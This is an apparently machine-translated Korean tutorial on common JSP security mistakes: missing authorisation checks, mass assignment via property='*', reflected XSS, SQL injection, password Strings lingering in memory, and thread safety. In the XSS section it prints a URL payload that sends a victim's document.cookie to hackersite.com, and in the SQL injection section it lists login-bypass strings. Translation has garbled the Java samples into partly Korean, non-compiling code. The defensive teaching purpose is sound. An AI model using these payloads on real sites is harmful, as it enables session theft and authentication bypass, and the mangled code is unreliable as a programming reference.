JSP(Java Server Page)는 동적 웹 페이지를 생성하는 기술로 점점 더 대중화되고 있습니다. JSP, ASP 및 PHP는 작동 메커니즘이 다릅니다. 일반적으로 JSP 페이지는 실행될 때 해석되지 않고 컴파일됩니다. JSP 파일에 대한 첫 번째 호출은 실제로 이를 서블릿으로 컴파일하는 프로세스입니다. 브라우저가 서버에서 이 JSP 파일을 요청하면 서버는 마지막 컴파일 이후 JSP 파일이 변경되었는지 확인합니다. 변경 사항이 없으면 다시 컴파일하지 않고 서블릿이 직접 실행됩니다. 개선되었습니다.
오늘은 여러분과 함께 스크립트 프로그래밍의 관점에서 JSP의 보안에 대해 살펴보겠습니다. 소스 코드 노출과 같은 보안 위험은 이 기사의 범위를 벗어납니다. 이 글을 쓰는 주요 목적은 JSP 프로그래밍을 처음 접하는 친구들에게 처음부터 안전한 프로그래밍에 대한 인식을 기르고, 해서는 안 될 실수를 하지 않고, 피할 수 있는 손실을 피하도록 상기시키는 것입니다. 또한, 저도 초보인데 혹시 틀린 점이나 다른 의견이 있으면 글을 올려 알려주세요.
1. 느슨한 인증 - 낮은 수준의 실수
Yiyang Forum v1.12 개정 버전에서
user_manager.jsp는 사용자 관리 페이지이며 작성자는 해당 페이지의 민감도를 알고 잠금을 추가합니다
. )==null)││(session.getValue("UserClass")==null)││(! session.getValue("UserClass").equals("시스템 관리자")))
{
response.sendRedirect("err.jsp?id=14");
반품;
}
사용자의 정보를 확인하고 수정하려면 반드시modifyuser_manager.jsp 파일을 이용해야 한다. 관리자가 제출함
http://www.somesite.com/yyforum/modifyuser_manager.jsp?modifyid=51
ID가 51번인 사용자(관리자의 기본 사용자 ID는 51번)의 정보를 조회하고 수정하는 것입니다. 그러나 이러한 중요한 문서에는 인증이 부족합니다. 일반 사용자(관광객 포함)는 위 요청을 직접 제출하고 이를 명확하게 볼 수 있습니다(비밀번호도 일반 텍스트로 저장되고 표시됩니다). 수정user_manage.jsp도 열려 있습니다. 악의적인 사용자가 데이터 업데이트 작업을 완료하고 user_manager.jsp로 리디렉션하기 전까지는 뒤늦게 오류를 표시하는 페이지를 보게 됩니다. 물론, 단순히 문을 잠그는 것만으로는 충분하지 않으며, 프로그래밍을 할 때 신원 인증을 추가해야 하는 모든 곳에 신원 인증을 추가하는 수고를 해야 합니다.
2. JavaBean의 진입을 지켜라
JSP 컴포넌트 기술의 핵심은 Bean이라는 Java 컴포넌트이다. 프로그램에서 논리 제어 및 데이터베이스 작업은 Javabeans 구성 요소에 배치한 다음 JSP 파일에서 호출할 수 있으므로 프로그램의 명확성과 프로그램의 재사용성을 높일 수 있습니다. 전통적인 ASP 또는 PHP 페이지와 비교할 때 JSP 페이지는 많은 동적 페이지 처리 프로세스가 JavaBeans에 캡슐화될 수 있기 때문에 매우 간단합니다.
JavaBean 속성을 변경하려면 "<jsp:setProperty>" 태그를 사용하세요.
다음 코드는 가상 전자 쇼핑 시스템의 소스 코드의 일부입니다. 이 파일은 사용자의 쇼핑 상자에 정보를 표시하는 데 사용되며 checkout.jsp는 결제에 사용됩니다.
<jsp:useBean id="myBasket" 클래스="BasketBean">
<jsp:setProperty name="myBasket" property="*"/>
<jsp:useBean>
<html>
<head><title>바구니<//title></head>
<본문>
<p>
항목을 추가했습니다.
<jsp::getProperty name="myBasket" property="newItem"/>
당신의 바구니에.
<br/>
총액은 $입니다
<jsp::getProperty name="myBasket" property="balance"/>
<a href="checkout.jsp">checkout</a>으로 진행하세요.
property="*"를 보셨나요? 이는 표시되는 JSP 페이지에서 사용자가 입력하거나 쿼리 문자열을 통해 직접 제출한 모든 변수의 값이 일치하는 Bean 속성에 저장된다는 것을 나타냅니다.
일반적으로 사용자는 다음과 같은 요청을 제출합니다.
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342
그러나 무질서한 사용자는 어떻습니까? 제출할 수 있는 항목:
http://www.somesite.com /addToBasket.jsp?newItem=ITEM0105342&balance=0
이런 식으로 Balance=0의 정보가 JavaBean에 저장됩니다. 결제하기 위해 "chekout"을 클릭하면 수수료가 면제됩니다.
이는 PHP의 전역 변수로 인해 발생하는 보안 문제와 똑같습니다. 다음에서 알 수 있듯이 "property="*""는 주의해서 사용해야 합니다!
3. 오래 지속되는 크로스 사이트 스크립팅
크로스 사이트 스크립팅(Cross Site Scripting) 공격은 원격 웹 페이지의 HTML 코드에 악의적인 JavaScript, VBScript, ActiveX, HTML 또는 Flash 스크립트를 수동으로 삽입하여 이 웹 페이지의 탐색을 훔치는 것을 말합니다. 페이지에서 사용자의 개인 정보를 보호하고, 사용자 설정을 변경하고, 사용자 데이터를 파기합니다. 크로스 사이트 스크립팅 공격은 대부분의 경우 서버 및 웹 프로그램의 작동에 영향을 미치지 않지만 클라이언트 보안에 심각한 위협을 가합니다.
가장 간단한 예로 Fangdong.com의 Acai 포럼(베타-1)을 들 수 있습니다.
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>alert(document.cookie)</script>를
제출하면
자체 쿠키 정보가 포함된 대화 상자가 나타납니다.
NetEase로 리디렉션하려면http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.163.com'</script>를
제출하세요
.
스크립트는 "name" 변수의 값을 클라이언트에 반환할 때 악성 코드에 대한 인코딩이나 필터링을 전혀 수행하지 않으므로, 사용자가 악성 "name" 변수가 포함된 데이터 링크에 접근하면 해당 스크립트 코드가 실행됩니다. 사용자의 브라우저가 사용자 개인정보 유출 등의 결과를 초래할 수 있습니다. 예를 들어, 다음 링크:
http://www.somesite.com/acjspbbs/dispuser.jsp?name=someuser <;script>document.location='http://www.hackersite.com/xxx.xxx?' +document .cookie</script>
xxx.xxx는 다음과 같은 매개변수를 수집하는 데 사용되며, 여기서 매개변수는 이 링크에 접속하는 사용자의 쿠키인 document.cookie를 지정합니다. ASP 세계에서는 많은 사람들이 쿠키를 훔치는 기술을 습득했습니다. JSP에서는 쿠키를 읽는 것이 어렵지 않습니다. 물론 크로스 사이트 스크립팅은 쿠키를 훔치는 기능에만 국한되지 않습니다. 모든 사람이 이에 대해 어느 정도 이해하고 있을 것이라고 생각하므로 여기서는 자세히 설명하지 않겠습니다.
크로스 사이트 스크립팅 공격을 대부분 방지하려면 동적 페이지의 모든 입력과 출력을 인코딩해야 합니다. 불행하게도 신뢰할 수 없는 데이터를 모두 인코딩하는 것은 리소스 집약적이며 웹 서버 성능에 영향을 미칠 수 있습니다. 일반적인 방법은 입력 데이터를 필터링하는 것입니다. 예를 들어 다음 코드는 위험한 문자를 대체합니다.
<% String message = request.getParameter("message");
message = message.replace ('<','_');
message = message.replace ('>','_');
message = message.replace ('"','_');
message = message.replace (''','_');
message = message.replace ('%','_'); [다음에서 다시 게시됨:51item.net]
message = message.replace (';','_');
message = message.replace ('(','_');
message = message.replace (')','_');
message = message.replace ('&','_');
message = message.replace ('+','_'); %>
보다 긍정적인 방법은 정규식을 사용하여 지정된 문자만 입력하는 것입니다:
public boolean isValidInput(String str)
{
if(str.matches("[a-z0-9]+")) true를 반환합니다.
그렇지 않으면 false를 반환합니다.
}
4. 초보자를 가르칠 때 항상 SQL 주입을 염두에 두십시오.
일반 프로그래밍 서적에서는 처음부터 안전한 프로그래밍 습관을 기르도록 주의를 기울이지 않습니다. 유명한 "JSP 프로그래밍 사고 및 실습"에서는 초보자에게 데이터베이스(데이터베이스는 MySQL임)를 사용하여 로그인 시스템을 작성하는 방법을 보여줍니다.
명령문 stmt = conn.createStatement();
String checkUser = "사용자 이름 = '" + userName + "' 및 userpassword = '" + userPassword + "'"인 로그인에서 *를 선택합니다.
ResultSet rs = stmt.executeQuery(checkUser);
if(rs.next())
response.sendRedirect("SuccessLogin.jsp");
또 다른
response.sendRedirect("FailureLogin.jsp");
이를 통해 책을 믿는 사람들은 오랫동안 "구멍난" 로그인 코드를 사용할 수 있습니다. 데이터베이스에 "jack"이라는 사용자가 있는 경우 비밀번호를 모르고 로그인할 수 있는 최소한 다음 방법이 있습니다.
사용자 이름: jack
비밀번호: ' 또는 'a'='a
사용자 이름: 잭
비밀번호: ' 또는 1=1/*
사용자 이름: jack' 또는 1=1/*
비밀번호: (아무거나)
lybbs(Lingyun 포럼) 버전 2.9.Server는 LogInOut.java에서 로그인을 위해 제출된 데이터를 다음과 같이 확인합니다.
if(s.equals("") ││ s1.equals(""))
throw new UserException("사용자 이름이나 비밀번호는 비워둘 수 없습니다.");
if(s.indexOf("'") != -1 ││ s.indexOf(""") != -1 ││ s.indexOf(",") != -1 ││ s.indexOf(" \") != -1)
throw new UserException("사용자 이름은 ' " \ 등과 같은 잘못된 문자를 포함할 수 없습니다.");
if(s1.indexOf("'") != -1 ││ s1.indexOf(""") != -1 ││ s1.indexOf("*") != -1 ││ s1.indexOf(" \") != -1)
throw new UserException("비밀번호에는 ' " \ *와 같은 잘못된 문자를 포함할 수 없습니다.");
if(s.startsWith(" ") ││ s1.startsWith(" "))
throw new UserException("사용자 이름이나 비밀번호에는 공백을 사용할 수 없습니다.")
그러나 왜 사용자 이름이 아닌 비밀번호에 별표만 필터링하는지 모르겠습니다. 게다가, 슬래시(/)도 "블랙리스트"에 포함되어야 할 것 같습니다. 나는 여전히 정규식을 사용하여 지정된 범위 내의 문자만 허용하는 것이 더 간단하다고 생각합니다.
여기서 주의할 점은 일부 데이터베이스 시스템의 고유한 "보안"이 모든 공격에 효과적으로 저항할 수 있다고 생각하지 마십시오. Pinkeyes의 기사 "PHP 주입 예제"는 PHP 구성 파일의 "magic_quotes_gpc = On"에 의존하는 사람들에게 교훈을 줍니다.
5. 문자열 객체가 가져오는 숨겨진 위험
Java 플랫폼은 실제로 보안 프로그래밍을 더욱 편리하게 만들었습니다. Java에는 포인터가 없습니다. 이는 Java 프로그램이 더 이상 C와 같은 주소 공간의 메모리 위치를 지정할 수 없음을 의미합니다. JSP 파일이 .class 파일로 컴파일될 때 보안 문제가 검사됩니다. 예를 들어, 배열 크기를 초과하는 배열 요소에 액세스하려는 시도는 거부되므로 버퍼 오버플로 공격이 크게 방지됩니다. 그러나 String 개체는 몇 가지 보안 위험을 초래합니다. 비밀번호가 Java 문자열 객체에 저장된 경우 가비지 수집되거나 프로세스가 종료될 때까지 메모리에 유지됩니다. 가비지 수집 후에도 메모리 공간이 재사용될 때까지 여유 메모리 힙에 계속 존재합니다. 암호 문자열이 메모리에 오래 있을수록 도청 위험이 커집니다. 더 나쁜 것은 실제 메모리가 줄어들면 운영 체제가 이 비밀번호 문자열을 디스크의 스왑 공간으로 페이징하므로 디스크 블록 도청 공격에 취약해집니다. 이러한 손상 가능성을 최소화하려면(제거하지는 않음) 비밀번호를 char 배열에 저장하고 사용 후 0으로 설정해야 합니다(문자열은 변경할 수 없으며 0으로 설정할 수 없음).
6. 스레드 안전성에 대한 예비 연구
"JAVA가 할 수 있는 것, JSP가 할 수 있는 것". ASP, PHP 등의 스크립팅 언어와 달리 JSP는 기본적으로 멀티스레드 방식으로 실행됩니다. 다중 스레드 방식으로 실행하면 시스템의 리소스 요구 사항을 크게 줄이고 시스템의 동시성 및 응답 시간을 향상시킬 수 있습니다. 스레드는 프로그램의 독립적인 동시 실행 경로입니다. 각 스레드에는 자체 스택, 자체 프로그램 카운터 및 로컬 변수가 있습니다. 다중 스레드 애플리케이션의 대부분 작업은 병렬로 수행할 수 있지만 전역 플래그 업데이트, 공유 파일 처리 등 병렬로 수행할 수 없는 일부 작업도 있습니다. 스레드의 동기화가 제대로 이루어지지 않으면 악의적인 사용자의 '열성적인 참여' 없이 대규모 동시 접속 시에도 문제가 발생하게 됩니다. 가장 간단한 해결책은 해당 JSP 파일에 <%@ page isThreadSafe="false" %> 명령을 추가하여 단일 스레드 방식으로 실행되도록 하는 것입니다. 이때 모든 클라이언트 요청은 직렬 방식으로 실행됩니다. 이로 인해 시스템 성능이 심각하게 저하될 수 있습니다. 우리는 여전히 JSP 파일을 다중 스레드 방식으로 실행하고 기능을 잠가서 스레드를 동기화할 수 있습니다. 함수와 동기화된 키워드가 잠금을 획득합니다. 다음 예를 살펴보십시오.
public class MyClass{
정수 a;
public Init() {//이 메서드는 여러 스레드에서 동시에 호출할 수 있습니다. a = 0;
}
public 동기화 void Set() {//두 스레드가 동시에 이 메서드를 호출할 수 없습니다. if(a>5) {
a=a-5;
}
}
}
그러나 이는 여전히 시스템 성능에 일정한 영향을 미칩니다. 더 나은 해결책은 인스턴스 변수 대신 지역 변수를 사용하는 것입니다. 인스턴스 변수는 힙에 할당되고 인스턴스에 속한 모든 스레드에서 공유되므로 스레드로부터 안전하지 않은 반면, 로컬 변수는 각 스레드가 자체 스택 공간을 가지므로 스택에 할당되므로 스레드로부터 안전합니다. . 예를 들어 Lingyun 포럼에 친구를 추가하는 코드는 다음과 같습니다.
public void addFriend(int i, String s, String s1)
DBConnectException이 발생합니다.
{
노력하다
{
만약에……
또 다른
{
DBConnect dbconnect = new DBConnect("친구(작가 ID,친구 이름) 값에 삽입 (?,?)");
dbconnect.setInt(1, i);
dbconnect.setString(2, s);
dbconnect.executeUpdate();
DBConnect.close();
DB연결 = null;
}
}
catch(예외 예외)
{
throw new DBConnectException(Exception.getMessage());
}
}
다음은 호출입니다.
friendName=ParameterUtils.getString(request,"friendname");
if(action.equals("adduser")) {
forumFriend.addFriend(Integer.parseInt(cookieID),friendName,cookieName);
errorInfo=forumFriend.getErrorInfo();
}
인스턴스 변수가 사용되면 인스턴스 변수는 인스턴스의 모든 스레드에서 공유됩니다. 사용자 A가 특정 매개변수를 전달한 후 해당 스레드가 절전 상태로 바뀌고 매개변수가 사용자 B에 의해 실수로 수정될 수 있습니다. 친구 불일치 현상이 발생합니다.